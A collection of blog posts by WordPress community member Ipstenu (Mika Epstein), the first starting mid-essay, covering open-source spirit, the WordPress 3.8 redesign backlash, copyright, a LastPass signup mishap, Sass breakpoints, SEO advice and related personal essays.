**Excerpt:** The spirit of what the Open Source movement is to me is more than just a group of people making amazing things happen.
**Content:**
I try never to argue about the ‘spirit’ of the law these days and god help me if I ever consider talking about the spirit of GPL. But I do have a firm belief in the spirit of what Open Source is and how that impacts what we do.
I generally tell people I’m a Socialist and that’s why I love Open Source. It’s also true that I love the Olympics not because I want my country to win (I rarely keep track of medal counts) but because I want to see people exceed their expectations and go higher, faster, stronger. I cheered when the Dutch finally won the shorter length races in speed skating. I was sad when [Simon Ammann](http://www.simonammann.ch/) did not place in ski jumping (I’ve been watching him jump for 16 years!). I was delighted to finally see women’s ski jumping!
But if I wanted to sum up exactly why I love the Olympics so much, this [single viral photo sums it up](http://www.huffingtonpost.com/2014/02/11/anton-gafarov-crash_n_4769650.html):

If you watched the US broadcast of the men’s cross country finals (individual sprinting – they’re basically doing running on skis, it’s brutal), you saw Anton Gafarov wipe out, or at least part of it. They readily admitted they missed why he fell, but rewound so you could see this poor guy, skiing in his home country, come flying down on his back, behind the other skiiers, and crash into the wall. He lay on the snow in anguish, because he knew he would never get a medal now. He had trained his life for a moment that may never come again, and that hurt.
But, and this is what you didn’t see on NBC, Gafarov got up and kept racing.
[](https://halfelf.org/wp-content/uploads/sites/2/2014/02/n-ANTON-GAFAROV-large570.jpg)
And then he fell again, because (as you can see), his ski was broken beyond repair. It would be illegal for him to finish on foot. His race was totally done. In a sport where the difference between first and second is tenths of a second, he was out the moment he fell, but now he wouldn’t even be able to place and would end his Olympic experience disqualified. If you’ve never been a part of a competition where you DQ’d, I promise you that hurts way worse than not placing well.
That’s not where the story ends, though. Go back to that first picture. See the guy on the right side getting him set up with a new ski? That would be **Canadian** coach Justin Wadsworth.
[](https://halfelf.org/wp-content/uploads/sites/2/2014/02/8916610346d15146d0665d30335282c3.jpg)
Wadsworth took new skis out, helped Gafarov put them on, and thus the Russian finished the race (in dead last) to rousing cheers from the crowd. When asked by Canadian news site The Star why he did it, the answer was simple: “It was like watching an animal stuck in a trap. You can’t just sit there and do nothing about it. … I wanted him to have dignity as he crossed the finish line.”
We love to say that the Olympics are about overcoming adversity and doing amazing things, but much of Olympic spirit is inclusion and helping others. It’s never ‘us versus them’ but ‘look at how cool humans are.’ And to me, that’s what *I* mean when I talk about the Spirit of Open Source.
Open Source is about people creating amazing things in an open environment, without fear of restrictions. It’s giving incredible freedom to let the art of code shine through the function, and it allows for astounding advancements because of that. But it’s also about making things better by doing it together, and by enabling the next guy to take your work and do more.
If we see someone who has a need, we try to meet it. Not always for those wants (like I’d love a new iPad and laptop, but I don’t need them), but when someone’s in a massive car accident, or loses a job, or wants to go to an event and can’t afford it, we move heaven and earth.
Open Source would bring Gafarov a ski.
**Categories:** How It Is
**Tags:** essay, freedom, open source
---
### [I Hate WP Here](https://halfelf.org/2014/i-hate-wp-here/)
**Published:** March 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You can hate change all you want but it will happen, so let's take it in a better direction.
**Content:**
I’m probably going to piss a lot of people off with this longer post, so let me make this clear from the start: the post is long, and any comments I deem inappropriate, overly angry, or totally off the point (like rants about why the 3.8 design sucks or why the updater is evil), will be **deleted**. This is *my* website. You can rant on yours, thank you.
So here’s the deal. I get it. I really do. The change in the WordPress.org back end, the new admin dashboard, is dramatic, bold, and not universally embraced.

And I get that the updater isn’t something people love. Though to be honest, the volume of people who did not notice the 3.7 to 3.7.1 update, but are livid over the 3.8 to 3.8.1 update perplex me. Where were you in the end of October when we last had an auto-update?
People have passions and they are general vocal about it. I’ve had so many conversations like this:
> Isn’t that beautiful, easier to read, potentially colorful, admin dashboard wonderful? Oh wait, you find it ugly, harder to read, and too colorful? But … the design works so well with a mobile phone! You use the iOS app? The colors man! You don’t like black? That’s okay! Colors! See you just go to your user profile and pick a different one. I like Ecto… what? It’s not the colors? You just hate it?
I’m not putting a picture of Aaron Jorbin up here, but [you know the drill](https://halfelf.org/2012/you-cant-be-everything/jorbin_gonna_hate/). And I get it, I really do. The change was big and it’s never going to be something loved by all. But let me quote something for you:
> I agree with a lot of users too that the changes to the admin dash interface are not up to par, like some of the buttons
> \[…\]
>
> The defense is that new users will love it because they don’t know better? That’s rather weak considering the millions of people installed base that still want to work with WordPress.
>
> Also, calling the old UI “insanely stupid” and loving the new one makes me suspect you *really* don’t know what you are talking about or you are *really* involved in this. What is it?
>
> \[…\]
>
> I’m going to stick my neck out on this issue and say that it has ruined the whole blogging experience for me. The UI was the best feature of WordPress, it’s the bit that bloggers know and love for being an ace bit of kit.
Those are all quotes from the topic “[2.5 admin backend annoying](http://wordpress.org/support/topic/25-admin-backend-annoying?replies=177)” posted in 2009. That was when WordPress last had a totally massive, top down overhaul of the back end. And boy howdy did people have a strong reaction to it. The answer we had back then is actually the same as we had five years ago, and it’s not “Tough titties” (as Taffy would say). “Use a plugin to change it.”
Right now the vocal *minority* of people who hate the new WP dashboard will need to make do with customizing their experience using plugins. Which is a whole ‘nother post in and of itself why plugins are good, and that isn’t the point here.
The point here is that WordPress is *probably* not going back to the pre-3.8 design, nor will it be dropping the auto-updates. This was not a change made in a vacuum. It was tested by early adopters on WordPress.com ([who were actually flipped over to this in June](http://en.blog.wordpress.com/2013/06/17/beautiful-makeover/)) as well as beta testers of WordPress core. The odds are, while improvements to address some of the visibility issues and functionality problems will be made, the direction of WordPress will remain forward, not backwards.
While people who really hate these changes are pretty vocal about it, it’s actually nothing new if you look back to 2.5 and how it’s redesign was received, or if you look at the failed 2.3 redesign (Shuttle) and how well that went off. And when you consider that in Wordpress 2.7, when we introduced the ‘one click’ updater for core, and how many people hated *that*, it’s rather astounding we ever get anywhere at all. I hate saying “Just give it a shot!” and “Cope” but that’s really kind of where we are here because of people being irrational about new features in general. And who is being irrational? Two main groups: the people who hate it, and the staunch defenders who *did not* write it.
The people who hate it, well, I covered that. The people who didn’t write it though, and to some extend these are people who didn’t actively or vocally work on testing and bug catching either, are the people in the support forums who mean really well, but are getting testy and snide and cranky. You know why the haters are upset, they’re having an emotional reaction. The supporters are angry because they get angry haters all the live long day, and snap back. It’s a vicious circle.
With all the new features of WP 3.7 and 3.8, there was a lot of work. Months and months of work, testing, breaking, fixing, testing again, and finally you reach a point where you have to remember this: No matter what you do, your change will break someone’s workflow.
[](http://xkcd.com/1172/)
Change happens. We don’t always like it, we don’t always agree with all of it, but change is, inherently, a good thing. Even if everyone hates it, it helps us decide the direction of our passion and where we want it to be aimed. Take all that anger and think about what it actually *means* and how you can take it to improve things for more people. Because we’re talking about an open source product that you’re using, for free, that makes your life better. It makes it easier to manage websites, it makes it easier to get a job, and it makes it easier to do what you want. That doesn’t mean it will always do it exactly *how* you want it to, though. Even I have parts of the new features I dislike.
But. What makes me and my dislike different from people who get angry are two things. First and foremost, I can recognize when I am angry, and when I do sense it, *I walk away*. I don’t reply. I leave the room. Even though it’s my job, to some extent, to talk to people about this stuff, I will hand things over to others, or beseech assistance in wording. The second thing is that I chose to be part of the progress and stick my toe in the water to try and change WordPress in a direction I prefer.
This doesn’t mean I’m better than people who get angry. My lack of fire in some places leads to me not being the sort who champions new directions that often. You’ll notice I’m a community type rep, and not a core-plugin one. That’s why. But what I share with the people who change the world is a desire to funnel our hate into something productive and positive. I see something I dislike and I study it to understand it, why it was done, and since this is open source, suggest changes. I try to back them up with fact when I can, and logic when I can’t find enough fact. I strive to make things improved.
I feel it’s better that way, and I sleep a lot better at night then when I was just angry all the time.
**Categories:** How It Is
**Tags:** design, essay, wordpress
---
### [Copyleft](https://halfelf.org/2014/copyleft/)
**Published:** February 26, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's left, it's right, it really all matters how you protect yourself, but also your readers.
**Content:**
I’ve seen a lot of people doing an un-copyright, including [Brian Gardner](http://www.briangardner.com/uncopyright/) who did it (in part) to simplify his life.
[](http://mimiandeunice.com/2011/08/30/permission-2/)Our pervasive permission culture. Via [Mimi and Eunice](http://mimiandeunice.com/2011/08/30/permission-2/)While I’m a huge proponent of ‘Give it away’ (see all my ebooks), I also retain copyright on my creations for a reason, and it’s curiously the same reason why Brian (and [Leo Babuta](http://zenhabits.net/uncopyright/)) *don’t*. Let me quote Leo:
> I’m not a big fan of copyright laws, especially as they’re being applied by corporations, used to crack down on the little guys so they can continue their large profits.
I’m not the big guy. I’m the little guy. I want to protect what I created not for miles of profit, but because attribution is critical to my end goal of “obscurity.” That is to say the rationale behind my ebook philosophy of “Pay what you want” is that if people don’t know about a thing, they won’t buy/use a thing. Where as if people do know, and can find, a thing, they will use it.
As I said, and as Cory Doctrow says: People don’t *not* buy a book because it was free, they don’t buy a book because they **don’t know about the book**.
So if I remove copyright, and no one has to credit me, then *no one knows about me* and they can’t come back and get [WordPress Multisite 110](https://store.halfelf.org/ebooks/wordpress-multisite-110/), or [WordPress Bookstore](https://store.halfelf.org/ebooks/wordpress-bookstore/) and learn more. They can’t find this blog and get even more, free, tidbits about WordPress and computers and business and whatever else they use this site for. In short, without attribution, people can’t learn any more from me because they don’t know about me.
As confusing as this can be, I’m okay with you taking my stuff and giving it away for free. But I do want you to say “I got this from halfelf.org” so that you pass on not just the information to the next guy, but the ability for them to find *more* information. The knowledge, not just the information, is key here. Taking my work and presenting it as your own gives information, but it does not teach knowledge, nor does it enable anyone to learn and go forward because you’re throttling their resources.
Copyright isn’t about protecting the bug guy for me, it’s about protecting *you* from the big guy. It’s about making sure you know, and the next person knows where the information came from and how to resource it. Encyclopedias give away information, but the reason they’re amazing is that they give you the ability to gain knowledge from the information.
Copyright is my encyclopedia. It’s forcing you to keep credit/attribution, which gives you information and the ability to gain further knowledge from it. It protects me, but that’s incidental in that it helps you. And if it can keep the big guys from stealing my stuff and presenting it as their own, then everyone wins.
**Categories:** How It Is
**Tags:** copyright, essay, freedom
---
### [LastPass? LostPass!](https://halfelf.org/2014/lastpass/)
**Published:** February 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not a great experience with LastPass.
**Content:**
ModemLoper came up with the name.
So here’s a frustrating experience. My office uses LastPass to share passwords for things. Secret things. They send me an ‘invite’ for the Enterprise account with my company email. I go to log in with the first-time password thing, and it says I need to make a new password. Sure, because email isn’t secure, so I make a new password the same way I have for the last year. I open up 1Password, make a new account there (LastPass – Work) with the login as my.email@myoffice.com and generate a password. So I have a password stored there you see. I then copy that password and paste it in, twice, to change the password.
I want to note some things here. I *did not* have a message about how my master password was super important at this time. In fact, it just said to enter it twice. Also remember this was for an *ENTERPRISE* account. Not a normal user. Okay?
So I do that, it says yay log in now! I take the same password, paste it in, no go. Oh, okay, maybe a butterfly farted. I’ll just reset it. Guess what I can’t do? The password ‘Hint’ was useless, since my password was along the lines of `dyEno4FfW4EsED` and I’d set the hint to “1Password” like you often do. Also there’s no ’email me my password’ or ‘reset my password’ thing I can use. Probably because email isn’t secure. The email where they’d emailed me a temp password just before to *create* my Enterprise account.
At this point I tweeted obscenities. I have an account but I can’t use it. I can’t reset the password. I can’t recover the password. I don’t have a ‘One Time’ use password because I never got to the point where it let me create that sort of thing. Ditto with ‘reverting’ my vault. There was nothing to revert to so I couldn’t do that. The official answer was to delete my account and start over. There was more swearing. Most of it public use of the F-word on Twitter.
But I did delete the account, made a new one, and *this time* it said “Hey, this master password thing is super important!” and took me to a *second screen* where I have to re-enter it. Oh, and yes, I used the same password I’d made before. It worked this time. My coworker resent the invite to join our Enterprise account. I do so, set up Two Factor Authentication, trust my laptop, and he shared the folders.
As I spell out the drama to him, I realize that this may be happening because I *didn’t* have an account before. That is, I went ahead and used the account and password from the email. Don’t believe me that they sent a clear-text password? Here:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/lastpass.png)
I redacted the account, even though you could guess it. Four hours pass. I get a tweet from the LastPass CEO:
https://twitter.com/joesiegrist/status/403649508715667456
to which I replied:
https://twitter.com/ipstenu/status/403649761212784640
Everything’s fine now, and my takeaway from this is ‘Make an account before joining an Enterprise’ because clearly their ‘sign up through your enterprise’ thing is buggy. The whole interface is a little janky, and I find that their statement of how they cannot possibly reset your password to be weird:
> Recovery for LastPass is not the same as other services you may have previously used – due to our encryption technology, LastPass does not know your Master Password, so we cannot look it up, send it to you, or reset it for you. This means your data remains secure from threats, but also means that there are limited options when you forget your Master Password.
I gather they mean “There’s no way to change your password without knowing your current password.” And really this is the ultimate security, isn’t it? No one but you can change it without knowing your master password. The problem with this, and really all these things, is that if I have one *master* password, it must be easy for me to memorize and remember at the drop of a hat.
Which means my master password is my least secure password. Check the sticky notes on my monitor.
**Categories:** How It Is
**Tags:** design, open source, rant, ux
---
### [Genesis Design for Gummies](https://halfelf.org/2014/genesis-design-for-gummies/)
**Published:** January 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You're not a dummy, but the idea of coding makes you a little wobbly. The brilliant developers at Reaktiv have your back.
**Content:**
You’re not a dummy, right, you know how to write and you know what’s good and what’s not, but the last time you had to edit your CSS your site went white. It’s worse now that you’re using this awesome theme called Genesis where every design is a ‘child’ theme that you don’t even *want* to edit because if WordPress taught you anything it’s that you don’t touch the plugin and theme files!
Well great. Now what?
I’m not a consultant. I suck at it, I hate it, and I don’t enjoy it. My friends the Norcrosses over at [Reaktiv Studios](http://reaktivstudios.com/) are a dev agency that makes themes and plugins and even updates (they’re not paying me or compensating at all for this statement, I don’t even use ’em, I just like ’em). They’re good at it, and to make their life, and your life, easier, they came up with a new plugin called **[Genesis Design Palette Pro](https://genesisdesignpro.com/)**.
Previously, if you want to edit your theme, I would have said to use Jetpack’s CSS editor. Heck, that’s really what I do here, since it keeps revisions of your css changes. But most of what people change are the standard things that make your site look like an individual. The CSS is just a wall of weird, codey, text thing that made no sense when I first looked at CSS back in 1999. And that’s really how everyone did stuff back when Prince was en vogue.
But now there’s that nice [Theme Customizer](http://en.support.wordpress.com/customizer/) built in to WordPress that lets you edit the most basic (and most commonly used) aspects of your site right there and see the changes live! Wouldn’t it be nice if every theme let you play with its design like this?
[](https://halfelf.org/2014/genesis-design-for-gummies/themecustomizer/)
Come here. Closer. The [Genesis Design Pro](https://genesisdesignpro.com/) plugin does that for you in a way that looks ‘right’ and familiar. Don’t believe me?
[](https://halfelf.org/2014/genesis-design-for-gummies/designpro/)
Looks familiar, don’t it? Okay, it’s not *exactly* the same, yet, but give it time. You can edit for mobile *or* desktop, adjust colors and padding with simple interfaces that are way easier for a lot of people to master than the weird CSS world. You can even add that freeform CSS if you want.
I think my only wish for it would be to have an export to css function, so I could design everything, save it, and then plunk it on a site as is.
**Categories:** How To
**Tags:** design, plugins, wordpress
---
### [Forget 100%](https://halfelf.org/2014/forget-100-percent/)
**Published:** February 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Please don't tell me about how your service is 99.999% reliable. Tell me all about how you're prepared to handle the unexpected.
**Content:**
Can I tell you a secret?
I hate the five nines. The Six Sigma Stigma has me wishing that everyone who tells me they’re a ‘black belt’ please die in a fire. It’s not that I don’t think that the process can work for some people, or that it’s useless as a whole, but that I think too many people treat it like an MBA. “I did this thing for a few months, I am now an expert.” I had a bunch of coworkers who did that. I hated them. I got to the point that if you said “We need five-nine reliability” I had a Pavlovian reaction that involved me rolling me eyes and tuning out.
Now this doesn’t mean than I don’t think 100% ‘uptime’ in anything is a nice goal, but I see it as a lofty goal. Look, you know this stuff already. I will not walk down the stairs successfully 100% of the time. I will not have the next key I strike on my keyboard function as I expect 100% of the time.
So moving this off and saying “I don’t need 100% uptime, I need 99.999% uptime.” doesn’t actually change anything. In fact, I’m willing to bet that a lot of people look at the five 9s and think that it’s so close to 100% that they should never see or notice an outage. Thanks, Six-Sigma people, you just made 99.999% synonymous with 100%.
That wasn’t the secret, though.
My secret is that I don’t *care* about 100% uptime in anything.
I worked for too long in deployment to understand that there is no such thing as 100% uptime for anything. There are ways to minimize and mitigate downtime, and there are ways to make sure it causes as little impact as humanly possible, but there’s no way to avoid it. Ever reboot your computer? Of course! Ever upgrade WordPress? You have then experienced downtime. It’s a nature of life. I expect it, I don’t sweat it.
So if I don’t care about 100% uptime, what do I care about?
Reliability, accountability, responsibility, and timeliness.
I was reaching for the words that end in “ibl”, but really the root of*able* is my concern above all else. Are they able to handle it when things go pear shaped? Are they able to fix problems quickly, correctly, and efficiently? Are they able to prevent the exact same error from happening again? Are they able to own up to their mistakes?
I don’t expect anyone to do all that 100% of the time, but I expect them to care about the things that are important to them as an entity. My webhost should care about the severs not being on fire and serving up webpages. My bank should care that my money is safe and available. My government should care that it’s … Too soon? Anyway, the point is that you should care about what you do, and provide the best service you can. Now, if 50% uptime is your best, maybe I’ll look for someone else. I am reasonable about these things. If email goes down, how fast did you get it back up? But to me 50% isn’t reliable unless I’m looking for something that, intentionally, only works half the time.
All this said, I don’t actually look at the uptime numbers all that much, unless I feel that the reliability is sub-par. The actual numbers, the metrics, the absolute “This service is up 100% of the time or your money back” is not really what I count on. My friend Pippin said it wisely the other day:
> I have far more faith in a company that encounters occasional problems but responds incredibly promptly than one that has fewer issues but doesn’t respond half as well
He happened to be talking about a brief (like 10 minute) outage on his site when all databases were inaccessible.
Don’t bank on the percentage, bank on the ability to react and come back.
**Categories:** How It Is
**Tags:** administration, risk, support
---
### [Don't Fear Wandering Off Topic](https://halfelf.org/2011/dont-fear-wandering-off-topic/)
**Published:** January 3, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Bill Engvall's wife commented that he wanders off topic, and sometimes you have to suffer through 'Bad Weiner Day', but eventually he'll get to the point. The point here is that you shouldn't be afraid to wander off topic.
**Content:**
Sometimes when you’re debugging, you haven’t the foggiest idea how someone managed to screw something up so badly that they got this particular error. Naturally they’ll tell you that they didn’t do or change anything, and sometimes they’ll even be telling you the truth! It’s at that point I try to teach my guys that it’s okay to wander off the script and start talking about anything else, in order to learn how the person thinks.
Everyone’s thought process is different. Some of us learn by reading, some by watching, some by doing, and others by listening. There’s no one perfect way to solve a problem, but that doesn’t stop managers from trying to codify the how-tos into a script to follow. We’ve all been there, where we’re told to reboot our PC to solve a modem problem. There is no secret [shibboleet](http://xkcd.com/806/) call to get you to the smarter people.
I will say that the reason the scripts exist is because they do work. I couldn’t begin to tell you how many help tickets are solved when I ask ‘Are you using the default password of *changeme*?’ Heck, even telling people ‘Reboot.’ is correct sometimes. That’s the thing, though. *SOMETIMES*. You have to learn how to tell when ‘sometimes’ is now and when it’s not. For example. I add a user to a domain group on Windows. Our setup of Windows XP systems pull down domain group info (and all permissions allocated therein) on login. User says the permissions that come with the group aren’t working. I tell them ‘Reboot so XP can apply the settings. Sometimes it gets persnickety.’ They reboot, we’re done. But notice, I know how and why the problem occurred, and I can explain it to the user.
But. Sometimes you get yourself down the rabbit hole with a crazy problem. “Hi! Every time I add a file, it locks the system.” Okay, time to sort out what’s getting locked. What’s not cleaning itself out, what’s acting ‘weird.’ Does it work for you? It does. Interesting. What’s HE doing? Let’s ask. “I’m using a home grown script to add files.” Oh. Betcha that’s it. I actually spent three days and a call to the vendor trying to debug a problem like this because the guy refused to accept that HIS script was POSSIBLY screwing things up. Actually he didn’t even mention the script until I started chatting about workflows and productivity and he mentioned, in passing ‘Yeah, we had to write a script because it took too long.’
This isn’t about how when you ask for help, be specific and tell them exactly what you’re doing in as clear and simple a way as possible. This is about how, when you’re talking to someone, it’s totally okay to wander off topic and ask something off the wall. “Are you using Firefox beta 4? You are? Did you know that there are problems with that and TinyMCE?” Sure the question sounded hella random, but it was the debugger’s brain pinging off the wall at a memory.
 When you’re helping people, remember that they learn differently from you as well. As much as people tout ‘thinking outside the box’ as a call to innovation, I think that’s not what they mean. What they mean is being willing to take a chance, a risk, and make a stab in the dark at a possible answer. A genius is the one who looks at a moldy cheese sandwich and thinks ‘What the hell is IN that green stuff?’ A genius is the one who says ‘It’d be easier if could clone a server.’ A genius is the one who both thinks *and* applies the thought to something.
When you’re stuck troubleshooting, wander off topic. Be willing to think of the crazy things and voice them aloud. Be willing to say ‘I doubt this has anything to do with it, but what happens if you do this…’ Be willing to ask the ‘stupid’ questions. Go ahead and talk about Bad Wiener day. The scrunchy joke may make you remember something totally off the wall.
**Categories:** How It Is
**Tags:** coding, essay, support
---
### [Just Ask](https://halfelf.org/2014/just-ask/)
**Published:** February 7, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You've got to give a little to get what you want.
**Content:**
Someone asked me why I spoke at some events and not others. Or why I was on some podcasts and not others. For WordPress, I do generally apply to speak if I’m going (for what I consider obvious reasons, I’m good at it and I actually enjoy it, shut up Jenifer, you were right) but I also like going to WordCamps just to learn and be social in a businessy sort of way. This is my job, after all.
So why did I talk on [WPWatercooler](https://halfelf.org/2013/wpwatercooler-multisite-edition/ "WPwatercooler – Multisite Edition") or [MeetWP](https://halfelf.org/2013/meetwp-04-troubleshooting-a-hacked-site-with-mika-epstein/ "MeetWP 04 – Troubleshooting a Hacked Site with Mika Epstein") or [The Matt Report](https://halfelf.org/2013/lights-out-matt-report/ "When the lights go out on the Matt Report!")? Why did I do the interview with [Code Poet](https://halfelf.org/2012/codepoet-interview-with-me/ "CodePoet Interview with Me!")? It’s so simple you’ll laugh.
They asked.
I very rarely say no. The two days I tend to are Fridays and Saturdays. I’m not online Saturday, and Friday is usually pretty busy for me. Okay, and I admit Sundays I’m usually out at the archery range or solar (it’s an arts and crafts thing), but still, with enough warning I can make some time. The point being, I’m totally fine with people asking me “Hey, can you be on our thing?” Unless you’re totally hate filled, anti-everything, jerks (which is … surprisingly hard to find in the WP world), I’ll likely say yes if I have the time.
Mind you, I don’t listen to or watch most podcasts or hangouts in real time. I just don’t have that time anymore. I have a backlog saved, and when I’m at work, I play them on my iPad when things are slower.
I am sorry to have had to turn down WordCamp Orlando last year, but I’d just come off of three funerals and 6 events in 8 weeks, and I was burning out emotionally (I’m putting you on my list for 2014!). I’m sorry I had to turn down a same-day request from the Matt Report once, but it was just phenomenally bad timing that day. I didn’t even see the email until it was almost too late. Yeah, that kind of day.
The point to all this is that while I know a lot of people don’t find me super approachable because I like having my personal space respected, and I feel that an unsolicited email is roughly the same as a phone call, my real intent with that viewpoint is to make you *think*. Think about what you’re asking. Think about what you’re giving to people and what they’re giving you. Don’t take brutal advantage of their good nature, and always respect them as humans with lives and agendas that may not be 100% the same as yours.
See that’s not hard? Give and take is what makes WordPress great.
**Categories:** How It Is
**Tags:** essay, speaking, wordpress
---
### [Electric Sass Boogaloo](https://halfelf.org/2014/electric-sass-boogaloo/)
**Published:** January 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making my css work on all media sizes has me dancing in the streets.
**Content:**
[](https://halfelf.org/2014/electric-sass-boogaloo/breakin_2_front/)One I mastered using Sass enough to feel confident with basic mixins, I decided to remove my `_media.scss` file and go at it with Chris Coyer’s methodology of [Breakpoints](http://css-tricks.com/media-queries-sass-3-2-and-codekit/).
Instead of having a media file with all the special media calls, you can put the media section *inside* the Sass call. That stops that cognitive dissonance (for me at least) of hunting down where the heck I made that change. Since I was already using Tracy’s code, I was able to slip in breakpoints using her bp mixin, with a name. And thus:
```
.site-intro {
@include font-size(14px);
line-height: 1.5;
@include rem(letter-spacing, 1px);
text-transform: uppercase;
float: left;
@include rem(margin-top, 20px);
@include bp(small) { @include rem(margin-bottom, 15px); width: 100%; text-align: center;}
}
```
This is clearly a really simple example, but it means I can add all sorts of blocks and have it be together. It actually made my building of my `css` files really easy, since once I figured out what size I wanted things to be, I was able to build and ignore all the tricky maths, which as I learned recently, [was really important for your REMs](https://halfelf.org/2014/gaining-rem/).
Now that I was using includes, mixins, default settings, *and* breakins, it was time to reconsider how I made the css files. I [installed sass on my laptops and servers](http://sass-lang.com/install). It required Ruby, but I’d installed that ages back trying out Jekyll (there’s no post about that yet for … reasons). Once Ruby was installed, Sass was this easy: `gem install sass` (you may or may not need to sudo that sandwich).
Having Sass on my server means I can edit files in place (which … you wouldn’t do, right?) and when I’m done, run this:
```
$ sass sass/style.scss style.css
```
But it also means when I (properly) edit on my computer and push up, I can script with [git hooks](http://git-scm.com/book/en/Customizing-Git-Git-Hooks) instead! I took my methodology from [Nico Hagenburger](http://www.hagenburger.net/BLOG/Using-Git-Commit-Hooks-to-Autocompile-Sass-to-CSS.html) and [Steve Grunwell](http://stevegrunwell.com/blog/automatically-recompile-sass-upon-deployment-using-git-hooks/), but you can use just about anything. I like how they *don’t* include the complied css file in their builds, which keeps it cleaner. Then one could have another hook to push the files after, say, you tag a release. That one would copy the files up to your server (rsync anyone?) and thus you do it all locally, but magically it appears to the world.
Breakdancing in Yoyogi, Tokyo, Japan. [By Colin McMillen](http://www.flickr.com/photos/colinmcmillen/489141807/).Back to breakpoints though. So great, I can use it to make my math teh simples. What else can I do? I can change content, colors, font-families, or anything else you want to change on a size-defined basis. How do you break the points? [Breakpoint SASS](http://breakpoint-sass.com/) is possibly my new favorite website.
For an end user who doesn’t *really* spend a lot of time with theme development, this buys even me a little time in my day. After I spent a weekend banging it out, I found my updates were easier, cleaner, and faster. Having the files separate is possibly the fastest thing. I edit a scss, check in the code to my git repo (because I am totally neurotic), test the compiled css, and I’m dancing in the streets.
**Categories:** How To
**Tags:** css, design, development
---
### [SEO Advice I Ignore](https://halfelf.org/2014/seo-advice-ignored/)
**Published:** January 27, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes I listen, sometimes I don't, and sometimes I just outright disagree.
**Content:**
I watch a lot of WordCamp presentations, and I pick up on a lot of ‘advice’ people give. Some of it is, I feel, useless. Today I want to tackle all the SEO advice I’ve seen and read lately that doesn’t matter as much as it might, or at least, not enough to make me change.

Before that, though, I want to stress the one part of SEO that will matter, now and forever, no matter what Google does, and that is to have *Good Content*. Second to that is to have a good network of people who link to you, share your posts, and retweet them. Human interaction is the best measure of your SEO. If people are sticking around, you’re going to be okay.
### Don’t Use Dates in Your URLs
While my SEO hero, [Yoast](http://yoast.com/), isn’t a fan of dates in URLs, [here’s what he says](http://yoast.com/wordpress-seo-url-permalink/):
“Putting the date in the URL has very few benefits, if any. I’m not a fan because it “dates” your older results, possibly getting a lower click through over time.”
So I use them here, and on my personal blog, as `example.com/%year%/%postname%/` for a couple reasons, but it boils down to the fact that dates matter with the content I provide. The first thing I look at when I see a post about a technical subject is *when* was it written. Then I read the post to see if it mentions a specific version of the product. If there’s a notice at the top like “Read the updated version…” then I’ll go open both and read the older and the newer.
The point is, as Jen Mylo might say, technology changes. And because of that, it should be obvious when a post took place. So I firmly think dates matter for the humans. And since they don’t matter for SEO, use what makes you feel good. Of course… shorter URLs are better. I’d suggest more people use categories if they could manage to only post in one category at a time. Still, go to and you’ll be redirected because WordPress is really good.
### Use Related Posts
I can see why people think this is important. Establishing cross-links between your old posts can pull new readers over. But I find this is more important in getting the search engines to scan your *older* content. I cross link between posts manually all the time, not to get better SEO, but to help my readers see where I came from before. So I don’t need to have them automagically made for me. This comes back to good content. My good content is relating posts in the best way possible, and making sure they’re the best links to relate.
### Always Use Images
Images are pretty, I agree, but I think it’s more important to use images that matter. You don’t have to use images all the time. Certainly people like them, it breaks up the monotony of a post, but for SEO, you should worry more about your alt/description fields than having an image. Also remember to compress your images, please. It’ll make your site run faster which *will* help your SERP. When in doubt about an image, leave it out. Or use something silly.
Suomi: Jymyjussien pelaajat vaihtokopilla
Source: [WikiCommons](http://commons.wikimedia.org/wiki/File:JymyJussit_kokoontuu.JPG)### Never Change Your URLs
While this is just good advice, as long as you have good redirects for your old links to the new ones, you won’t lose your Google Juice. So yes, you can change your URLs. I do it all the time, but I’m proud to say that links from *fifteen years ago* still work. They redirect to the new URLs, of course, but they work because of those redirects, and my Google Juice is amazeballs.
### Keep Posts under 600 (or 750) Words
I laughed a lot here. While people like Otto marvel at my verbosity, and other people tell me “Your posts are too long!” when I cut a post back from 2000 words to 1000 it’s not because of *SEO*, it’s readability. If a 4000 page post is the most popular on your site and CNN links to it, I’m pretty sure your SEO won’t get hurt. Your post should be as long as it needs to be to clearly and accurately communicate what you’re trying to communicate. That’s your rule. Keep with it. Now, if your *human readers* tell you that you’re too verbose, that’s something else.
### Use Subdomains
I’m going to quote [Matt Cutts (aka Mr. Google)](http://www.webpronews.com/matt-cutts-talks-subdomains-vs-subdirectories-2012-10) here, on the subject of sub-domain vs sub-folder:
“They’re roughly equivalent. I would basically go with whichever one is easier for you in terms of configuration, your CMSs, \[and\] all that sort of stuff.”
Can we move on now, please?
### Use Menus
Okay, yes, you should use Menus, but I’ve seen people stuff every possible link into a menu, and then be upset no one sees the menu item that’s four tiers down. I barely use menu tiers, or if I do I limit them to one, and only one, sublevel. So the SEO advice of jamming everything into a menu is just useless, and given how people are using it like keyword stuffing, I bet Google’s next release (Penguin, Panda…. Pterodactyl?) will check if the CSS or HTML5 code indicates a menu and, if so, ignore it. I know I would.
### Anything Else?
What do you think is just plain ol’ outdated or wrong SEO advice?
**Categories:** How It Is
**Tags:** essay, seo
---
### [No Contact Information](https://halfelf.org/2013/no-contact/)
**Published:** December 27, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A new card for a new era? Something like that. Moar card, less info. It's logical, I swear!
**Content:**
Semi related to [the theme shakeup](https://halfelf.org/2013/a-new-utility/) is my new business card. My old ones had my name and my email, but they were kind of cute and made in a rush before WordCamp San Francisco 2012, where I was pushing to get a new job and needed them.
One of my personal rules about a business card is that the back should be writable. I always like to write on the back where I met someone. Like I have a card from Laura Legendary, and on the back it has a scribble of “WCLV’13 – accessibility – *REDO SLIDES!*” which tells me where I met her, what we talked about, and what a big take away was. My extant cards had a sketch (by me, not the awesome one by Ben Dunkle that I will treasure forever) and some basic information with my personal URL and my techy one. Oh and my email. Which resulted in a lot more email than I wanted at my personal account.
